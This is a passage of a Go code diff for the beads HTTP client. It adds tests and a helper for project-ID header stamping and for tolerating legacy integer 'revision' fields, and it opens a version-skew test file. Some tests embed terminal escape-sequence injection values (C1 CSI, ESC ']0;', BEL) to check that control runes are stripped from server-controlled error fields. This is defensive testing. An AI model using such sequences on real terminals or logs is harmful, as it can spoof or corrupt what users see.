func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte(`{}`)) + }) + for _, r := range []Request{ + {Op: OpListIssues, Method: http.MethodGet, Path: PathIssues}, + {Op: OpGetContext, Method: http.MethodGet, Path: PathContext}, + {Op: OpClaimIssue, Method: http.MethodPost, Path: "/v0/beads/issues/x:claim", Body: map[string]string{"actor": "a"}, IssueID: "x"}, + } { + if err := c.Do(ctx(t), r, &struct{}{}); err != nil { + t.Fatalf("%s: %v", r.Op, err) + } + } + if rec.count() != 3 { + t.Fatalf("made %d requests, want 3", rec.count()) + } + for i := 0; i < rec.count(); i++ { + if got := rec.at(t, i).header.Get(ProjectIDHeader); got != stampExpectID { + t.Errorf("request %d (%s) stamped %q, want %q", i, rec.at(t, i).method, got, stampExpectID) + } + } +} + +// TestNoExpectedProjectIDSendsNoStamp is the backward-compatibility contract: a +// workspace that pinned no id (the tip OSS server's loopback-trust posture) sends +// no header at all, so an older server is addressed exactly as before. +func TestNoExpectedProjectIDSendsNoStamp(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte(`{}`)) + }) + if err := c.Do(ctx(t), Request{Op: OpListIssues, Method: http.MethodGet, Path: PathIssues}, &struct{}{}); err != nil { + t.Fatalf("Do: %v", err) + } + if _, present := rec.at(t, 0).header[http.CanonicalHeaderKey(ProjectIDHeader)]; present { + t.Errorf("an unpinned client sent %s: %q", ProjectIDHeader, rec.at(t, 0).header.Get(ProjectIDHeader)) + } +} + +// TestBothAttemptsOfThe401RetryCarryTheStamp pins the stamp onto the replay, not +// just the first attempt: the retry rebuilds the request after a credential +// refresh, and the stamp is a property of the request. +func TestBothAttemptsOfThe401RetryCarryTheStamp(t *testing.T) { + creds := &staticToken{tokens: []string{"stale", "fresh"}, retry: true} + var n int + c, rec := newTestClient(t, Options{ExpectProjectID: stampExpectID}, creds, func(w http.ResponseWriter, _ *http.Request) { + n++ + if n == 1 { + problemJSON(w, http.StatusUnauthorized, `{"status":401,"code":"unauthenticated"}`) + return + } + _, _ = w.Write([]byte(`{}`)) + }) + if err := c.Do(ctx(t), Request{Op: OpListIssues, Method: http.MethodGet, Path: PathIssues}, &struct{}{}); err != nil { + t.Fatalf("Do: %v", err) + } + if rec.count() != 2 { + t.Fatalf("made %d requests, want 2 (the 401 and its retry)", rec.count()) + } + for i := 0; i < 2; i++ { + if got := rec.at(t, i).header.Get(ProjectIDHeader); got != stampExpectID { + t.Errorf("attempt %d stamped %q, want %q", i, got, stampExpectID) + } + } +} + +// TestNewRefusesAnUnstampableProjectID is the validate-at-open contract: a pinned +// id that cannot be a header value is refused LOUDLY at New, never stamped-and- +// hoped or silently skipped. The ids are built with string(rune(...)) so the +// control runes are unambiguous in source. The C1 (U+009B) and line-separator +// (U+2028) cases are the ones the byte-level httpguts check misses and the +// rune-level isControlRune check catches, which is why both layers are required. +func TestNewRefusesAnUnstampableProjectID(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:1/") + for _, tc := range []struct { + name string + bad rune + }{ + {"NUL", 0x00}, + {"escape introducer", 0x1b}, + {"newline", 0x0a}, + {"C1 CSI the byte check misses", 0x9b}, + {"line separator", 0x2028}, + } { + t.Run(tc.name, func(t *testing.T) { + id := "proj" + string(tc.bad) + "id" + c, err := New(base, nil, Options{ExpectProjectID: id}) + if err == nil { + t.Fatalf("New accepted an unstampable id %q (client %v)", id, c.BaseURL()) + } + if !errors.Is(err, ErrInvalidProjectID) { + t.Fatalf("err = %v, want ErrInvalidProjectID", err) + } + var invalid *InvalidProjectIDError + if !errors.As(err, &invalid) { + t.Fatalf("err is %T, want *InvalidProjectIDError", err) + } + // The bad bytes are the reason it is invalid; they must not reach a + // terminal live. %q rendering escapes them. + if strings.ContainsFunc(invalid.Error(), isControlRune) { + t.Errorf("the refusal leaked a live control rune: %q", invalid.Error()) + } + }) + } + // A clean id opens fine — the check is a gate, not a wall. + if _, err := New(base, nil, Options{ExpectProjectID: "proj-ok-123"}); err != nil { + t.Errorf("New refused a valid id: %v", err) + } +} + +// mismatchBody builds the wire body for a project_mismatch refusal, JSON-encoding +// serverProjectID so any control runes in it are properly escaped on the wire — +// exactly as the server's own encoder would emit them. +func mismatchBody(t *testing.T, serverProjectID string) string { + t.Helper() + raw, err := json.Marshal(map[string]any{ + "status": 400, + "code": "invalid_argument", + "param": ProjectIDHeader, + "reason": ReasonProjectMismatch, + "server_project_id": serverProjectID, + "detail": "the stamp names a project this server does not serve", + }) + if err != nil { + t.Fatalf("marshal the mismatch body: %v", err) + } + return string(raw) +} + +// TestAProjectMismatchMapsToTheTypedWrongServerError is the reason-discriminated +// arm: a 400 whose reason is project_mismatch becomes *ProjectMismatchError with +// both ids, not the generic ErrValidation the invalid_argument code would map to. +func TestAProjectMismatchMapsToTheTypedWrongServerError(t *testing.T) { + const expected = "proj-workspace-beta" + const serverOwns = "proj-the-other-one" + err := refuseWith(t, 400, mismatchBody(t, serverOwns), nil, listIssues(), func(o *Options) { o.ExpectProjectID = expected }) + + if !errors.Is(err, ErrProjectMismatch) { + t.Fatalf("err = %v, want ErrProjectMismatch", err) + } + var mismatch *ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("err is %T, want *ProjectMismatchError", err) + } + if mismatch.Expected != expected { + t.Errorf("Expected = %q, want the workspace's %q", mismatch.Expected, expected) + } + if mismatch.Got != serverOwns { + t.Errorf("Got = %q, want the server's %q", mismatch.Got, serverOwns) + } + // Database/RepoRoot are deliberately empty on the per-request path: this + // refusal discloses only the server's id, not its location. + if mismatch.Database != "" || mismatch.RepoRoot != "" { + t.Errorf("the per-request mismatch disclosed a location: db=%q root=%q", mismatch.Database, mismatch.RepoRoot) + } + // The reason arm ran ahead of the code table, so this did NOT fall through to + // the invalid_argument sentinel. + if errors.Is(err, issueops.ErrValidation) { + t.Errorf("the wrong-server refusal classified as a plain validation error") + } +} + +// TestTheServerProjectIDIsStrippedAtTheWireBoundary: server_project_id is +// server-controlled, so its control runes are removed where every other problem +// field's are — before the typed error can reach a %v stderr sink. +func TestTheServerProjectIDIsStrippedAtTheWireBoundary(t *testing.T) { + dirty := "evil" + string(rune(0x9b)) + "31m" + string(rune(0x1b)) + "]0;x" + string(rune(0x07)) + err := refuseWith(t, 400, mismatchBody(t, dirty), nil, listIssues(), func(o *Options) { o.ExpectProjectID = "proj-clean" }) + + var mismatch *ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("err is %T, want *ProjectMismatchError", err) + } + if strings.ContainsFunc(mismatch.Got, isControlRune) { + t.Errorf("Got still carries a control rune: %q", mismatch.Got) + } + if strings.ContainsFunc(mismatch.Error(), isControlRune) { + t.Errorf("the rendered wrong-server error carries a control rune: %q", mismatch.Error()) + } +} + +func mustParseURL(t *testing.T, raw string) *url.URL { + t.Helper() + u, err := url.Parse(raw) + if err != nil { + t.Fatalf("parse %q: %v", raw, err) + } + return u +} diff --git a/internal/httpclient/wire/revision_tolerance.go b/internal/httpclient/wire/revision_tolerance.go new file mode 100644 index 000000000..82001d839 --- /dev/null +++ b/internal/httpclient/wire/revision_tolerance.go @@ -0,0 +1,206 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). +package wire + +import ( + "bytes" + "encoding/json" + + "github.com/steveyegge/beads/internal/httpapi/apigen" +) + +// revisionKey is the one JSON member this file ever rewrites. It never touches +// `expected_version`: that member is request-side only (the client sends it, +// never decodes it), so the response-decode gap this file closes does not +// reach it. +const revisionKey = "revision" + +// itemsKey is ApplyBatchResponse's one array of nested revision-bearing +// objects (apigen.ApplyItemResult). No other covered type below carries a +// nested object with a `revision` of its own: every other member here is a +// plain, top-level one, and tolerateLegacyRevisionNumbers rewrites nothing +// that is not reached through exactly this key or the top level. +const itemsKey = "items" + +// revisionBearingResponse reports whether out is one of the apigen response +// types carrying the optimistic-concurrency `revision` member — the member +// this client always decodes as a JSON string (the post-#6053 decimal-token +// shape, upstream's own fix for the fact that the token spans the full 64-bit +// range and a JSON number would round past 2^53). A server that predates +// #6053 answers the same member as a bare JSON integer under the same +// `api_version: "v0"`, and the handshake has no signal for that move — a +// pre-#6053 server's `ContextResponse` omits `wire_revision` exactly the way +// every other old server does, so the one place left to tolerate the shape is +// here, at the reader, on the small, explicit set of types that carry it. +// +// The set is exactly the schemas internal/httpapi/wireshape's digest records +// with a `revision` member (TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember +// pins this against the same golden.json TestWireShapeDigest guards, so a new +// revision-bearing schema cannot slip past both without the coverage test +// failing first): +// +// - apigen.ApplyBatchResponse: no top-level `revision` of its own, but each +// of its `items` is an apigen.ApplyItemResult, which does carry one — see +// tolerateLegacyRevisionNumbers' items handling below. +// - apigen.CloseIssueResponse, apigen.ReleaseIssueResponse, +// apigen.ReopenIssueResponse, apigen.UpdateIssueResponse: a top-level +// `revision` each. +// - apigen.IssueDetails (an alias for types.IssueDetails: GET +// /v0/beads/issues/{id}'s body): also a top-level `revision`. getIssue is +// a BASELINE operation (dispatched before any post-baseline call would +// have forced the handshake that populates serverPredatesRevisionStrings' +// cache), which is why that gate treats "no cached handshake at all" as +// "tolerate" rather than "skip" — see its doc comment. +// +// Keeping the set explicit (rather than walking every response body looking +// for a stray "revision" key) means a type added later that happens to reuse +// the word for something else — a schema version, a cache generation — is not +// silently coerced; a new revision-bearing response type must be added here +// deliberately, the same discipline problem.go's legacyRevisionFields already +// keeps on the error path. +func revisionBearingResponse(out any) bool { + switch out.(type) { + case *apigen.ApplyBatchResponse, + *apigen.CloseIssueResponse, + *apigen.ReleaseIssueResponse, + *apigen.ReopenIssueResponse, + *apigen.UpdateIssueResponse, + *apigen.IssueDetails: + return true + default: + return false + } +} + +// serverPredatesRevisionStrings reports whether the cached handshake saw a +// server old enough that its `revision`/`expected_version` tokens may still +// be bare JSON integers: one that omitted `ContextResponse.wire_revision` +// entirely, which ClientMinWireRevision's doc pins as meaning exactly that (0 +// and 1 are permanently retired values no server implementing the field will +// ever legitimately send). +// +// No cached handshake at all answers true too (review follow-up: it used to +// answer false, on the reasoning that every revision-bearing response type +// belongs to a non-baseline write, so the handshake forced ahead of it would +// already be cached — true for every one of them EXCEPT apigen.IssueDetails, +// whose operation, getIssue, is itself a baseline op that can dispatch with no +// handshake ever cached). Answering true unconditionally here is safe exactly +// because tolerateLegacyRevisionNumbers' rewrite is scoped to the few +// documented positions a legacy integer can actually appear at (see its doc +// comment) rather than a generic walk: running it against a modern server's +// already-string-shaped response, or with no handshake evidence either way, +// costs one structural no-op walk and touches nothing. +func (c *Client) serverPredatesRevisionStrings() bool { + c.handshake.mu.Lock() + defer c.handshake.mu.Unlock() + return c.handshake.snap == nil || c.handshake.snap.Context.WireRevision == 0 +} + +// tolerateLegacyRevisionNumbers rewrites a bare-JSON-number value held at +// body's top-level "revision" key, and — only when out is +// *apigen.ApplyBatchResponse — at the "revision" key of each element of its +// top-level "items" array, into that number's decimal-string spelling: the +// shape every apigen response type above declares the member as. It returns +// body unchanged (the same slice) when nothing needed rewriting, so a modern +// server's already-string-shaped response pays one no-op decode and nothing +// else. +// +// IT NEVER RECURSES BEYOND THOSE TWO DOCUMENTED POSITIONS (review HIGH: +// data corruption). An earlier version of this file walked every nested +// object and array looking for a stray "revision" key, which reached +// CloseIssueResponse.issue.metadata and every other caller-owned JSON blob +// this client passes through opaquely — a user's own metadata shaped like +// `{"revision":3}` came back with that value silently turned into a string, +// and serverPredatesRevisionStrings' gate (WireRevision == 0, or now no +// handshake at all) covers every legacy AND unhandshaked request, not just +// the narrow pre-#6053 population the rewrite exists for. Scoping the rewrite +// to exactly the documented wire positions — never descending into `issue`, +// `metadata`, or any other nested object the response carries — is what makes +// answering true unconditionally above safe: there is no longer a nested +// object this function would touch by accident. +func tolerateLegacyRevisionNumbers(body []byte, out any) []byte { + var obj map[string]json.RawMessage + if err := json.Unmarshal(body, &obj); err != nil { + return body + } + changed := false + if v, ok := obj[revisionKey]; ok && isBareJSONNumber(v) { + obj[revisionKey] = quoteJSONNumber(v) + changed = true + } + if _, ok := out.(*apigen.ApplyBatchResponse); ok { + if rewritten, ok := rewriteItemRevisions(obj[itemsKey]); ok { + obj[itemsKey] = rewritten + changed = true + } + } + if !changed { + return body + } + rewritten, err := json.Marshal(obj) + if err != nil { + return body + } + return rewritten +} + +// rewriteItemRevisions rewrites the top-level "revision" key of each element +// of items (ApplyBatchResponse.items, each an apigen.ApplyItemResult) that +// holds a bare JSON number. It reports ok == false when items is absent, +// malformed, or needed no rewriting at all, in which case the caller must +// leave the original bytes alone. +// +// Like tolerateLegacyRevisionNumbers itself, this never looks past each +// item's own top-level members: ApplyItemResult carries no nested object of +// its own a legacy integer could hide inside, but even if a future field +// added one, only "revision" at this exact level is ever a candidate. +func rewriteItemRevisions(raw json.RawMessage) (json.RawMessage, bool) { + if len(bytes.TrimSpace(raw)) == 0 { + return nil, false + } + var items []map[string]json.RawMessage + if err := json.Unmarshal(raw, &items); err != nil { + return nil, false + } + changed := false + for _, item := range items { + if v, ok := item[revisionKey]; ok && isBareJSONNumber(v) { + item[revisionKey] = quoteJSONNumber(v) + changed = true + } + } + if !changed { + return nil, false + } + rewritten, err := json.Marshal(items) + if err != nil { + return nil, false + } + return rewritten, true +} + +// isBareJSONNumber reports whether val's first non-space byte starts a JSON +// number rather than a string, object, array, boolean or null. +func isBareJSONNumber(val json.RawMessage) bool { + trimmed := bytes.TrimSpace(val) + if len(trimmed) == 0 { + return false + } + c := trimmed[0] + return c == '-' || (c >= '0' && c <= '9') +} + +// quoteJSONNumber renders a raw JSON number token as a quoted JSON string +// holding its exact decimal digits — byte-for-byte, never round-tripped +// through an int64 or float64, so a token outside either range still survives +// unchanged. +func quoteJSONNumber(val json.RawMessage) json.RawMessage { + trimmed := bytes.TrimSpace(val) + quoted, err := json.Marshal(string(trimmed)) + if err != nil { + // trimmed is already a well-formed JSON number token (isBareJSONNumber's + // caller only reaches here on that path), so a plain string of its bytes + // can never fail to marshal. + return val + } + return quoted +} diff --git a/internal/httpclient/wire/revision_tolerance_test.go b/internal/httpclient/wire/revision_tolerance_test.go new file mode 100644 index 000000000..28a31660f --- /dev/null +++ b/internal/httpclient/wire/revision_tolerance_test.go @@ -0,0 +1,327 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). +package wire + +import ( + "encoding/json" + "net/http" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" +) + +// serveLegacyServer fakes a server old enough to predate #6053: its context +// response omits wire_revision entirely (contextBodyWithWireRevision's 0 +// renders it omitted, matching ClientMinWireRevision's doc), and its write +// and getIssue responses still carry `revision` as a bare JSON integer rather +// than the decimal-string shape every apigen response type now declares. +// getIssueBody may be "" for a test that never dispatches getIssue. +func serveLegacyServer(t *testing.T, readyBody, closeBody, getIssueBody string) http.HandlerFunc { + t.Helper() + return func(w http.ResponseWriter, r *http.Request) { + switch { + case r.URL.Path == PathContext: + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(contextBodyWithWireRevision("v0", "", 0, 0, "issues.list", "ready.list", "issues.close", "issues.get"))) + case r.URL.Path == PathReady: + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(readyBody)) + case strings.HasSuffix(r.URL.Path, MethodClose): + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(closeBody)) + case r.Method == http.MethodGet && strings.HasPrefix(r.URL.Path, PathIssues+"/") && getIssueBody != "": + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(getIssueBody)) + default: + problemJSON(w, http.StatusNotFound, `{"status":404,"code":"not_found"}`) + } + } +} + +// getIssue dispatches getIssue directly: there is no GetIssue wrapper method +// on *Client yet (S3), but getIssue is a first-slice, known capability token +// (opCapability's "issues.get"), so Request/dispatch already support it. +func getIssue(t *testing.T, c *Client, id string) (*apigen.IssueDetails, error) { + t.Helper() + path, err := IssuePath(id) + if err != nil { + t.Fatalf("IssuePath: %v", err) + } + var out apigen.IssueDetails + err = c.dispatch(ctx(t), Request{Op: OpGetIssue, Method: http.MethodGet, Path: path}, &out) + return &out, err +} + +// TestListReadyWorkAgainstAPreSixZeroFiveThreeServer is the read half of HIGH +// #2's coverage: ready.list's response carries no `revision` member at all, so +// a server old enough to omit wire_revision from its handshake must not need +// any tolerance here — this pins that the baseline read path is simply +// unaffected by the legacy-server detection this file adds. +func TestListReadyWorkAgainstAPreSixZeroFiveThreeServer(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, + serveLegacyServer(t, `{"has_more":false,"items":[]}`, `{"revision":42}`, "")) + + page, err := c.ListReadyWork(ctx(t), nil) + if err != nil { + t.Fatalf("ListReadyWork against a pre-#6053 server: %v", err) + } + if page.HasMore || len(page.Items) != 0 { + t.Fatalf("ListReadyWork: got %+v, want an empty page", page) + } +} + +// TestCloseIssueAgainstAPreSixZeroFiveThreeServer is the guarded-write half: +// CloseIssueRequest carries ExpectedVersion, and the fake server answers the +// close with a bare-integer `revision` — the shape a server that predates +// #6053 actually sends, and the shape apigen.CloseIssueResponse.Revision +// (declared `string`) could not decode before this file's fix. Before the +// fix this failed with an untyped json.UnmarshalTypeError; this pins that it +// now decodes, carrying the token's exact decimal digits. CloseIssue is never +// a baseline op, so dispatch's Preflight forces the handshake ahead of Do — +// this is therefore also the "with a prior handshake" case. +func TestCloseIssueAgainstAPreSixZeroFiveThreeServer(t *testing.T) { + expected := "7" + c, rec := newTestClient(t, Options{}, nil, + serveLegacyServer(t, `{"has_more":false,"items":[]}`, `{"revision":99}`, "")) + + resp, err := c.CloseIssue(ctx(t), "be-1", apigen.CloseIssueRequest{ + Actor: "agent-1", + ExpectedVersion: &expected, + }) + if err != nil { + t.Fatalf("CloseIssue against a pre-#6053 server: %v", err) + } + if resp.Revision != "99" { + t.Errorf("Revision = %q, want \"99\" (the bare integer's exact decimal spelling)", resp.Revision) + } + if rec.count() != 2 { + t.Fatalf("expected one context request and one close request, got %d requests", rec.count()) + } +} + +// TestCloseIssueAgainstAModernServerIsUntouched proves the rewrite never fires +// against a server that already sends the decimal-string shape: the handshake +// carries a real wire_revision, so serverPredatesRevisionStrings is false and +// tolerateLegacyRevisionNumbers never runs. +func TestCloseIssueAgainstAModernServerIsUntouched(t *testing.T) { + expected := "7" + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + switch { + case r.URL.Path == PathContext: + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(contextBodyWithWireRevision("v0", "", ClientWireRevision, 0, "issues.close"))) + case strings.HasSuffix(r.URL.Path, MethodClose): + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"revision":"99"}`)) + default: + problemJSON(w, http.StatusNotFound, `{"status":404,"code":"not_found"}`) + } + }) + + resp, err := c.CloseIssue(ctx(t), "be-1", apigen.CloseIssueRequest{ + Actor: "agent-1", + ExpectedVersion: &expected, + }) + if err != nil { + t.Fatalf("CloseIssue against a modern server: %v", err) + } + if resp.Revision != "99" { + t.Errorf("Revision = %q, want \"99\"", resp.Revision) + } +} + +// TestGetIssueAgainstAPreSixZeroFiveThreeServerWithNoPriorHandshake is review +// follow-up HIGH-a's missing-type coverage, the no-handshake-cached half: +// getIssue is a BASELINE operation (baselineOps[OpGetIssue]), so Preflight +// never forces a handshake for it, and a client that has made no other call +// yet dispatches it with c.handshake.snap == nil. Before this fix, +// serverPredatesRevisionStrings answered false in exactly this state — "no +// evidence this is a legacy server" — so apigen.IssueDetails's bare-integer +// `revision` was never tolerated at all for a cold client's first call. It +// must now decode, because the gate treats "no snapshot" as "tolerate" and +// the rewrite itself is scoped (HIGH-b) to be safe either way. +func TestGetIssueAgainstAPreSixZeroFiveThreeServerWithNoPriorHandshake(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, + serveLegacyServer(t, "", "", `{"id":"be-1","revision":7}`)) + + details, err := getIssue(t, c, "be-1") + if err != nil { + t.Fatalf("getIssue against a pre-#6053 server with no prior handshake: %v", err) + } + if details.Revision != "7" { + t.Errorf("Revision = %q, want \"7\"", details.Revision) + } + if rec.count() != 1 { + t.Fatalf("getIssue is baseline: expected exactly one request (no forced handshake), got %d", rec.count()) + } +} + +// TestGetIssueAgainstAPreSixZeroFiveThreeServerWithPriorHandshake is the same +// coverage with a handshake already cached (forced here by a prior +// Handshake() call, the way a real session that already made a non-baseline +// call would arrive at a later getIssue): serverPredatesRevisionStrings now +// reads WireRevision == 0 off the cached snapshot instead of seeing no +// snapshot at all, and must still tolerate. +func TestGetIssueAgainstAPreSixZeroFiveThreeServerWithPriorHandshake(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, + serveLegacyServer(t, "", "", `{"id":"be-1","revision":7}`)) + + if _, err := c.Handshake(ctx(t)); err != nil { + t.Fatalf("Handshake: %v", err) + } + + details, err := getIssue(t, c, "be-1") + if err != nil { + t.Fatalf("getIssue against a pre-#6053 server with a cached handshake: %v", err) + } + if details.Revision != "7" { + t.Errorf("Revision = %q, want \"7\"", details.Revision) + } + if rec.count() != 2 { + t.Fatalf("expected one context request and one getIssue request, got %d", rec.count()) + } +} + +// TestCloseIssueLegacyRewriteNeverTouchesIssueMetadata is review follow-up +// HIGH-b's regression coverage. tolerateLegacyRevisionNumbers used to walk +// every nested object and array in the body looking for a bare-number +// "revision" key; that reached CloseIssueResponse.issue.metadata — a blob +// this client passes through opaquely for the caller, which may itself hold +// a member literally named "revision" at any depth as ordinary user data. +// The rewrite must now touch only the body's own top-level "revision", never +// descending into `issue` at all, so a metadata document with "revision" keys +// at several nesting depths comes back byte-for-byte identical to what the +// legacy server sent. +func TestCloseIssueLegacyRewriteNeverTouchesIssueMetadata(t *testing.T) { + const metadata = `{"revision":3,"n":[{"revision":4}],"deep":{"inner":{"revision":5}}}` + legacyBody := `{"already_closed":false,"issue":{"id":"be-1","metadata":` + metadata + `},"open_children":0,"revision":42}` + + expected := "7" + c, _ := newTestClient(t, Options{}, nil, + serveLegacyServer(t, "", legacyBody, "")) + + resp, err := c.CloseIssue(ctx(t), "be-1", apigen.CloseIssueRequest{ + Actor: "agent-1", + ExpectedVersion: &expected, + }) + if err != nil { + t.Fatalf("CloseIssue against a pre-#6053 server: %v", err) + } + if resp.Revision != "42" { + t.Errorf("Revision = %q, want \"42\" (the top-level bare integer, rewritten)", resp.Revision) + } + if got := string(resp.Issue.Metadata); got != metadata { + t.Errorf("Issue.Metadata = %s, want it byte-for-byte unchanged at %s (metadata must never be rewritten)", got, metadata) + } +} + +// TestApplyBatchLegacyItemRevisionsAreRewritten is ApplyBatchResponse's own +// half of HIGH #2: it carries no top-level `revision` of its own, but each of +// its `items` is an apigen.ApplyItemResult, which does — tolerateLegacyRevisionNumbers +// rewrites exactly that nested position (and nothing else nested) when out is +// *apigen.ApplyBatchResponse. +func TestApplyBatchLegacyItemRevisionsAreRewritten(t *testing.T) { + legacyBody := `{"items":[` + + `{"kind":"create","issue_id":"be-1","changed":true,"revision":10},` + + `{"kind":"close","issue_id":"be-2","changed":true,"revision":11}` + + `]}` + + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + switch { + case r.URL.Path == PathContext: + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(contextBodyWithWireRevision("v0", "", 0, 0, "issues.batchApply"))) + case r.URL.Path == PathIssuesBatchApply: + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(legacyBody)) + default: + problemJSON(w, http.StatusNotFound, `{"status":404,"code":"not_found"}`) + } + }) + + resp, err := c.ApplyBatch(ctx(t), ApplyBatchRequest{}) + if err != nil { + t.Fatalf("ApplyBatch against a pre-#6053 server: %v", err) + } + if len(resp.Items) != 2 { + t.Fatalf("Items = %+v, want 2", resp.Items) + } + if resp.Items[0].Revision != "10" || resp.Items[1].Revision != "11" { + t.Errorf("Items revisions = %q, %q, want \"10\", \"11\"", resp.Items[0].Revision, resp.Items[1].Revision) + } +} + +// revisionSchemaCoverage maps every apigen schema name +// internal/httpapi/wireshape's golden digest records as carrying a `revision` +// member to a representative value revisionBearingResponse must recognize. +// +// "ApplyItemResult" is the one entry with no case of its own in +// revisionBearingResponse's type switch: it is never decoded as Do's own +// `out` (it only ever appears nested inside ApplyBatchResponse.Items), so its +// coverage is ApplyBatchResponse's own case there, plus +// tolerateLegacyRevisionNumbers' separate items[] handling — +// TestApplyBatchLegacyItemRevisionsAreRewritten above is what actually proves +// that half; this map only proves revisionBearingResponse itself still says +// "yes" for the type that carries it. +var revisionSchemaCoverage = map[string]any{ + "ApplyItemResult": &apigen.ApplyBatchResponse{}, + "CloseIssueResponse": &apigen.CloseIssueResponse{}, + "IssueDetails": &apigen.IssueDetails{}, + "ReleaseIssueResponse": &apigen.ReleaseIssueResponse{}, + "ReopenIssueResponse": &apigen.ReopenIssueResponse{}, + "UpdateIssueResponse": &apigen.UpdateIssueResponse{}, +} + +// TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember is +// review follow-up HIGH-a's exhaustiveness guard. It derives the set of +// schemas a legacy server's bare-integer `revision` can appear on from the +// same committed golden digest TestWireShapeDigest +// (internal/httpapi/wireshape) guards against drift, rather than hand-listing +// schema names a second time — the grep this file's first version was +// written against missed apigen.IssueDetails precisely because it is a type +// alias for types.IssueDetails, invisible to a grep for "type \w+ struct.* +// revision". A schema that gains a `revision` member later and is not added +// to revisionSchemaCoverage now fails HERE, rather than only showing up as a +// silent decode failure against a real legacy server. +func TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember(t *testing.T) { + path := filepath.Join("..", "..", "httpapi", "wireshape", "testdata", "golden.json") + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("reading the wireshape golden digest: %v", err) + } + var digest struct { + Entries []struct { + Schema string `json:"schema"` + Member string `json:"member"` + } `json:"entries"` + } + if err := json.Unmarshal(data, &digest); err != nil { + t.Fatalf("unmarshaling the wireshape golden digest: %v", err) + } + + seen := map[string]bool{} + for _, e := range digest.Entries { + if e.Member != "revision" { + continue + } + seen[e.Schema] = true + out, covered := revisionSchemaCoverage[e.Schema] + if !covered { + t.Errorf("golden.json schema %q carries a `revision` member with no entry in revisionSchemaCoverage; add one, and extend revisionBearingResponse (or document why it needs no legacy-integer tolerance)", e.Schema) + continue + } + if !revisionBearingResponse(out) { + t.Errorf("revisionSchemaCoverage says %q is covered by %T, but revisionBearingResponse(%T) returned false", e.Schema, out, out) + } + } + if len(seen) == 0 { + t.Fatal("golden.json parsing found no schema with a `revision` member; the fixture moved or this test's assumptions about its shape broke") + } + for schema := range revisionSchemaCoverage { + if !seen[schema] { + t.Errorf("revisionSchemaCoverage lists %q, but golden.json has no entry for it with member \"revision\" anymore; remove the stale entry", schema) + } + } +} diff --git a/internal/httpclient/wire/skew_test.go b/internal/httpclient/wire/skew_test.go new file mode 100644 index 000000000..6cf0465af --- /dev/null +++ b/internal/httpclient/wire/skew_test.go @@ -0,0 +1,752 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/skew_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "errors" + "go/ast" + "go/parser" + "go/token" + "io" + "net/http" + "os" + "path/filepath" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// The version-skew matrix. +// +// Everything here is a DOCTORED server: a hand-built ContextResponse or a canned +// problem+json describing a bd serve that is older, newer, or subtly wrong in a +// way no real binary in the fixture cache is. That is the point. The released +// binaries in the cross-version smoke lane can only be the versions that were +// actually cut; this file is where the branch matrix lives, because a doctored +// context can be a server that never shipped and a released one cannot be a +// server that has not shipped YET. +// +// The split is the design's (test-lane map, the skew rows): the deterministic, +// in-process half runs at PR cadence here, and the released-binary composition +// half runs in cross-version-smoke.yml. Neither substitutes for the other — +// this half owns the branches, that half owns the reality check. +// +// Three skew directions are covered, and they fail in different ways: +// +// newer CLI, older server the client sends something the server never had. +// A capability it does not advertise is D7 case 2, +// caught BEFORE the dial; a parameter it does not +// know is D7 case 3, caught in the 400 that comes +// back. +// older CLI, newer server the server sends something the client never had. +// Every one of these must be IGNORED — an unknown +// response member, an unknown capability token, an +// unknown problem code — because the wire's +// additivity is the whole reason a client older than +// its server keeps working. +// wrong server entirely the identity gates: api_version and project_id. + +// firstSliceTokens is what a v0 server from the first slice advertises: the four +// gated operations of the six-operation first release (`bd-serve-v0.md`, "The +// surface"). health and getContext contribute no token. +// +// It is spelled out rather than derived, because deriving it from the client's +// own baseline set would make the fixture agree with the code under test by +// construction — the exact way a skew fixture goes vacuous. +var firstSliceTokens = []string{"issues.claim", "issues.get", "issues.list", "ready.list"} + +// allTokens is the tip server's advertised set, taken from this client's own +// map. Set-equality with the SERVER's list is the vocabulary gate's job +// (TestCapabilityTableMatchesTheServerRouteTable); here it is just "a server +// that has everything". +func allTokens() []string { + out := make([]string, 0, len(opCapability)) + for _, token := range opCapability { + if token != "" { + out = append(out, token) + } + } + slices.Sort(out) + return out +} + +func postBaselineOps() []string { + out := make([]string, 0, len(opCapability)) + for op := range opCapability { + if !IsBaseline(op) { + out = append(out, op) + } + } + slices.Sort(out) + return out +} + +func TestAgainstAFirstSliceServerEveryPostBaselineOperationRefusesWithCaseTwoData(t *testing.T) { + // The headline skew case: today's CLI against the server that shipped first. + // Twenty-six operations did not exist there, and every one of them has to + // refuse from the advertised list rather than dial and read a bare 404 as + // "no such issue". + c, rec := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1", firstSliceTokens...))) + + // Partition the post-baseline set by whether the first-slice server already + // serves the operation. claimIssue is the one post-baseline 